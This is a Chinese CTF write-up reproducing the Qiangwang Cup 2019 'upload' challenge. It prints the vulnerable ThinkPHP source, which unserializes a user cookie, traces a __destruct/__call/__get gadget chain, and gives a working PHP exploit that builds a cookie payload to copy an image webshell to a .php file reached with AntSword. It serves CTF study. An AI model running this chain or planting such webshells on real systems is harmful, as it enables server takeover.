强网杯2019 upload题目复现
2019-06-07 14:28:24

前言

端午假期没什么事情，想着复现下强网的题目，正好前两天朋友给了个题目复现环境，想着好好总结一下

https://github.com/CTFTraining/CTFTraining/blob/master/README.md

源码分析

重要部分源码如下
Profile.php

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<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

Register.php

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<?php
class Register
{
    public $checker;
    public $registed;


    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

Index.php

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<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
    public $profile;
    public $profile_db;

    public function index()
    {
        if($this->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        return $this->fetch("index");
    }

    public function home(){
        if(!$this->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }

        if(!$this->check_upload_img()){
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("upload");
        }else{
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");
        }
    }

    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

    public function check_upload_img(){
        if(!empty($this->profile) && !empty($this->profile_db)){
            if(empty($this->profile_db['img'])){
                return 0;
            }else{
                return 1;
            }
        }
    }

    public function logout(){
        cookie("user",null);
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    public function __get($name)
    {
        return "";
    }

}

接下来我们开始分析源码
首先我们题目入手时应该寻找可控的输入点，经过一番寻找后，在index.php中发现了cookie的反序列化操作
1.jpg

cookie是我们可以控制的，所以可以以此为突破口进行进一步分析，题目登陆后有文件上传功能，我们重点看一下Profile.php中的代码
在upload_img()函数中，发现了如下代码段
3.jpg
当全局变量$_FILES 不为空时，我们上传的文件会先保存为临时文件，然后在复制到upload文件夹下，这里会注意到，由于filename_tmp和filename均为public属性，我们可以控制这两个变量，将临时文件控制为我们想要上传的木马文件
接下来我们要做的事就是触发upload_img函数，继续分析源码注意到Register.php中的destruct方法
4.png
在这里我们同样可以控制checker为Profile类的一个对象，这样由于Profile中没有index方法，就会触发Profile中的__call方法
5.png
在__call方法中我们注意到

$this->{$name}

相当于

$this->index

这样进而会触发__get方法
6.png
同样对于expect我们是可以控制的，我们可以控制expect为upload_img进而调用该函数达到恶意文件的生成
最后我们来看upload_img函数，我们需要绕过两个判断
7.png
这两处相对来说比较简单了，checker是可控的，我们直接置0就可以了，对于第二个if我们在利用时不用上传文件所以就直接绕过了
最后梳理一下反序列化利用链

__destruct()-->__call()-->__get()-->upload_img()

实战利用

注册账号，登录，然后制作图片马上传，得到我们要copy”临时文件”的路径
13.png

9.png
然后经过上面的分析我们可以构造出如下的漏洞利用代码

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<?php
namespace app\web\controller;
class Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}
class Register
{
    public $checker;
    public $registed;
}

$yml = new Register();
$yml->registed=0;
$yml->checker=new Profile();
$yml->checker->except=array('index'=>'upload_img');
$yml->checker->checker=0;
$yml->checker->ext=1;
$yml->checker->filename_tmp="./upload/a7a3cba0eead18324c8b3e2f013dea71/97fa7719c9699fdb67790374376816ba.png";
$yml->checker->filename="./upload/a7a3cba0eead18324c8b3e2f013dea71/yemoli.php";
echo base64_encode(serialize($yml));

我们需要修改cookie的值，所以base64编码一下
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成功的生成的我们需要的一句话
10.png

蚂蚁连接一下
14.png

总结

感觉如果对于魔法函数熟悉的话，题目上手不会太难，后续计划总结一下各个魔法函数的特性，这样对于反序列化题目会更得心应手一些。

参考链接：
https://chxing.xyz/2019/05/27/QWB反序列化

https://altman.vip/2019/05/27/QWB2019-writeup/

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